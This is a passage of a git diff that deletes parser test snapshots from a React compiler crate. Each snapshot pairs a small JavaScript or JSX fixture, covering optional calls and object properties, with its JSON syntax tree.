-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  22
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  22
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                21,
-                22
-              ]
-            },
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  24,
-                  25
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  24,
-                  25
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                24,
-                25
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            19,
-            27
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          44
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          44
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        43,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          61
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          61
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        60,
-                        61
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    58,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              64
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      77
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      77
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    76,
-                    77
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      79,
-                      80
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      79,
-                      80
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                74,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              67,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          29,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-properties.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-properties.js.snap
deleted file mode 100644
index ce7958323766..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-properties.js.snap
+++ /dev/null
@@ -1,486 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/object-properties.js
----
-Input:
-function foo(a, b, c) {
-  const x = a.x;
-  const y = { ...b.c.d };
-  y.z = c.d.e;
-  foo(a.b.c);
-  [a.b.c];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      36,
-                      37
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      39
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    50
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              58,
-                              59
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              60,
-                              61
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            58,
-                            61
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "d",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            62,
-                            63
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          58,
-                          63
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        55,
-                        63
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    53,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              66
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  69,
-                  72
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      75,
-                      76
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      77,
-                      78
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    75,
-                    78
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "e",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  75,
-                  80
-                ]
-              },
-              "loc": null,
-              "range": [
-                69,
-                80
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              69,
-              81
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  84,
-                  87
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        90,
-                        91
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      88,
-                      91
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      92,
-                      93
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    88,
-                    93
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                84,
-                94
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              84,
-              95
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        99,
-                        100
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        101,
-                        102
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      99,
-                      102
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      103,
-                      104
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    99,
-                    104
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                98,
-                105
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              98,
-              106
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          108
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        108
-      ],
-      "loc": null,
-      "range": [
-        0,
-        108
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    108
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-chained.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-chained.js.snap
deleted file mode 100644
index d23c6f7369d9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-chained.js.snap
+++ /dev/null
@@ -1,208 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-call-chained.js
----
-Input:
-function Component(props) {
-  return call?.(props.a)?.(props.b)?.(props.c);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "OptionalCallExpression",
-              "callee": {
-                "type": "OptionalCallExpression",
-                "callee": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "call",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      41
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          44,
-                          49
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          51
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        44,
-                        51
-                      ]
-                    }
-                  ],
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    37,
-                    52
-                  ]
-                },
-                "arguments": [
-                  {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        55,
-                        60
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        61,
-                        62
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      55,
-                      62
-                    ]
-                  }
-                ],
-                "optional": true,
-                "loc": null,
-                "range": [
-                  37,
-                  63
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      71
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      72,
-                      73
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    66,
-                    73
-                  ]
-                }
-              ],
-              "optional": true,
-              "loc": null,
-              "range": [
-                37,
-                74
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              75
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          77
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        77
-      ],
-      "loc": null,
-      "range": [
-        0,
-        77
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    77
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-logical.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-logical.js.snap
deleted file mode 100644
index 9e5400757cbb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-logical.js.snap
+++ /dev/null
@@ -1,336 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-call-logical.js
----
-Input:
-function Component(props) {
-  const item = useFragment(graphql`...`, props.item);
-  return item.items?.map((item) => renderItem(item)) ?? [];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFragment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      54
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TaggedTemplateExpression",
-                      "tag": {
-                        "type": "Identifier",
-                        "name": "graphql",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          62
-                        ]
-                      },
-                      "quasi": {
-                        "type": "TemplateLiteral",
-                        "quasis": [
-                          {
-                            "type": "TemplateElement",
-                            "tail": true,
-                            "value": {
-                              "cooked": "...",
-                              "raw": "..."
-                            },
-                            "loc": null,
-                            "range": [
-                              62,
-                              67
-                            ]
-                          }
-                        ],
-                        "expressions": [],
-                        "loc": null,
-                        "range": [
-                          62,
-                          67
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        55,
-                        67
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          74
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        69,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    43,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              81
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "LogicalExpression",
-              "operator": "??",
-              "left": {
-                "type": "OptionalCallExpression",
-                "callee": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        91,
-                        95
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "items",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        96,
-                        101
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      91,
-                      101
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "map",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      103,
-                      106
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    91,
-                    106
-                  ]
-                },
-                "arguments": [
-                  {
-                    "type": "ArrowFunctionExpression",
-                    "id": null,
-                    "params": [
-                      {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          112
-                        ]
-                      }
-                    ],
-                    "body": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "renderItem",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          117,
-                          127
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            128,
-                            132
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        117,
-                        133
-                      ]
-                    },
-                    "generator": true,
-                    "async": false,
-                    "loc": null,
-                    "range": [
-                      107,
-                      133
-                    ],
-                    "expression": true,
-                    "loc": null,
-                    "range": [
-                      107,
-                      133
-                    ]
-                  }
-                ],
-                "optional": false,
-                "loc": null,
-                "range": [
-                  91,
-                  134
-                ]
-              },
-              "right": {
-                "type": "ArrayExpression",
-                "elements": [],
-                "loc": null,
-                "range": [
-                  138,
-                  140
-                ]
-              },
-              "loc": null,
-              "range": [
-                91,
-                140
-              ]
-            },
-            "loc": null,
-            "range": [
-              84,
-              141
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          143
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        143
-      ],
-      "loc": null,
-      "range": [
-        0,
-        143
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    143
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-simple.js.snap
deleted file mode 100644
index 5521f82b3ab0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-simple.js.snap
+++ /dev/null
@@ -1,109 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-call-simple.js
----
-Input:
-function Component(props) {
-  return foo?.(props);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "OptionalCallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  40
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    48
-                  ]
-                }
-              ],
-              "optional": true,
-              "loc": null,
-              "range": [
-                37,
-                49
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          52
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        52
-      ],
-      "loc": null,
-      "range": [
-        0,
-        52
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    52
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-with-independently-memoizable-arg.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-with-independently-memoizable-arg.js.snap
deleted file mode 100644
index 110eee44650d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-with-independently-memoizable-arg.js.snap
+++ /dev/null
@@ -1,356 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-call-with-independently-memoizable-arg.js
----
-Input:
-function Component(props) {
-  const x = makeOptionalFunction(props);
-  // for a regular call, the JSX element could be independently memoized
-  // since it is an immutable value. however, because the call is optional,
-  // we can't extract out independent memoization for the element w/o
-  // forcing that argument to evaluate unconditionally
-  const y = x?.(
-    <div>
-      <span>{props.text}</span>
-    </div>
-  );
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeOptionalFunction",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      60
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        61,
-                        66
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    351,
-                    352
-                  ]
-                },
-                "init": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      355,
-                      356
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "JSXElement",
-                      "openingElement": {
-                        "type": "JSXOpeningElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "div",
-                          "loc": null,
-                          "range": [
-                            365,
-                            368
-                          ]
-                        },
-                        "attributes": [],
-                        "selfClosing": false,
-                        "loc": null,
-                        "range": [
-                          364,
-                          369
-                        ]
-                      },
-                      "children": [
-                        {
-                          "type": "JSXText",
-                          "value": "\n      ",
-                          "raw": "\n      ",
-                          "loc": null,
-                          "range": [
-                            369,
-                            376
-                          ]
-                        },
-                        {
-                          "type": "JSXElement",
-                          "openingElement": {
-                            "type": "JSXOpeningElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "span",
-                              "loc": null,
-                              "range": [
-                                377,
-                                381
-                              ]
-                            },
-                            "attributes": [],
-                            "selfClosing": false,
-                            "loc": null,
-                            "range": [
-                              376,
-                              382
-                            ]
-                          },
-                          "children": [
-                            {
-                              "type": "JSXExpressionContainer",
-                              "expression": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "props",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    383,
-                                    388
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "text",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    389,
-                                    393
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  383,
-                                  393
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                382,
-                                394
-                              ]
-                            }
-                          ],
-                          "closingElement": {
-                            "type": "JSXClosingElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "span",
-                              "loc": null,
-                              "range": [
-                                396,
-                                400
-                              ]
-                            },
-                            "loc": null,
